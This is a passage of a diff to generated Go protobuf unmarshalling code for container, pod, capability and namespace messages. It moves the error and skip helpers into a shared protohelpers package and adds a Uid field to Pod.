+6775,12 @@ func (m *Image) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -6401,7 +6803,7 @@ func (m *SecurityContext) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6429,7 +6831,7 @@ func (m *SecurityContext) UnmarshalVT(dAtA []byte) error { var v int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6444,12 +6846,12 @@ func (m *SecurityContext) UnmarshalVT(dAtA []byte) error { m.Privileged = bool(v != 0) default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -6472,7 +6874,7 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6500,7 +6902,7 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6514,11 +6916,11 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -6532,7 +6934,7 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6546,11 +6948,11 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -6564,7 +6966,7 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6577,11 +6979,11 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -6600,7 +7002,7 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6613,11 +7015,11 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -6625,16 +7027,8 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { if m.StartTime == nil { m.StartTime = ×tamppb.Timestamp{} } - if unmarshal, ok := interface{}(m.StartTime).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.StartTime); err != nil { - return err - } + if err := (*timestamppb.Timestamp)(m.StartTime).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 5: @@ -6644,7 +7038,7 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6657,11 +7051,11 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -6669,16 +7063,8 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { if m.Pid == nil { m.Pid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Pid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Pid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Pid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 13: @@ -6688,7 +7074,7 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { var v int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6708,7 +7094,7 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6721,11 +7107,11 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -6739,12 +7125,12 @@ func (m *Container) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -6767,7 +7153,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6795,7 +7181,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6809,11 +7195,11 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -6827,7 +7213,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6841,17 +7227,49 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } m.Name = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Uid", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Uid = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex case 4: if wireType != 2 { return fmt.Errorf("proto: wrong wireType = %d for field Container", wireType) @@ -6859,7 +7277,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6872,11 +7290,11 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -6895,7 +7313,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6908,11 +7326,11 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -6927,7 +7345,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6944,7 +7362,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var stringLenmapkey uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6958,11 +7376,11 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { } intStringLenmapkey := int(stringLenmapkey) if intStringLenmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postStringIndexmapkey := iNdEx + intStringLenmapkey if postStringIndexmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postStringIndexmapkey > l { return io.ErrUnexpectedEOF @@ -6973,7 +7391,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var stringLenmapvalue uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6987,11 +7405,11 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { } intStringLenmapvalue := int(stringLenmapvalue) if intStringLenmapvalue < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postStringIndexmapvalue := iNdEx + intStringLenmapvalue if postStringIndexmapvalue < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postStringIndexmapvalue > l { return io.ErrUnexpectedEOF @@ -7000,12 +7418,12 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { iNdEx = postStringIndexmapvalue } else { iNdEx = entryPreIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > postIndex { return io.ErrUnexpectedEOF @@ -7022,7 +7440,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7036,11 +7454,11 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7054,7 +7472,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7068,11 +7486,11 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7086,7 +7504,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7099,11 +7517,11 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7118,7 +7536,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7135,7 +7553,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var stringLenmapkey uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7149,11 +7567,11 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { } intStringLenmapkey := int(stringLenmapkey) if intStringLenmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postStringIndexmapkey := iNdEx + intStringLenmapkey if postStringIndexmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postStringIndexmapkey > l { return io.ErrUnexpectedEOF @@ -7164,7 +7582,7 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { var stringLenmapvalue uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7178,11 +7596,11 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { } intStringLenmapvalue := int(stringLenmapvalue) if intStringLenmapvalue < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postStringIndexmapvalue := iNdEx + intStringLenmapvalue if postStringIndexmapvalue < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postStringIndexmapvalue > l { return io.ErrUnexpectedEOF @@ -7191,12 +7609,12 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { iNdEx = postStringIndexmapvalue } else { iNdEx = entryPreIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > postIndex { return io.ErrUnexpectedEOF @@ -7208,12 +7626,12 @@ func (m *Pod) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -7236,7 +7654,7 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7262,7 +7680,7 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7279,7 +7697,7 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7292,11 +7710,11 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7309,7 +7727,7 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7331,7 +7749,7 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7348,7 +7766,7 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7361,11 +7779,11 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7378,7 +7796,7 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7400,7 +7818,7 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7417,7 +7835,7 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7430,11 +7848,11 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7447,7 +7865,7 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7466,12 +7884,12 @@ func (m *Capabilities) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -7494,7 +7912,7 @@ func (m *Namespace) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7522,7 +7940,7 @@ func (m *Namespace) UnmarshalVT(dAtA []byte) error { m.Inum = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7541,7 +7959,7 @@ func (m *Namespace) UnmarshalVT(dAtA []byte) error { var v int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7556,12 +7974,12 @@ func (m *Namespace) UnmarshalVT(dAtA []byte) error { m.IsHost = bool(v != 0) default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -7584,7 +8002,7 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7612,7 +8030,7 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7625,11 +8043,11 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7648,7 +8066,7 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7661,11 +8079,11 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7684,7 +8102,7 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7697,11 +8115,11 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7720,7 +8138,7 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7733,11 +8151,11 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7756,7 +8174,7 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7769,11 +8187,11 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7792,7 +8210,7 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7805,11 +8223,11 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7828,7 +8246,7 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7841,11 +8259,11 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7864,7 +8282,7 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7877,11 +8295,11 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7900,7 +8318,7 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7913,11 +8331,11 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7936,7 +8354,7 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -7949,11 +8367,11 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -7967,12 +8385,12 @@ func (m *Namespaces) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -7995,7 +8413,7 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8023,7 +8441,7 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8036,11 +8454,11 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return 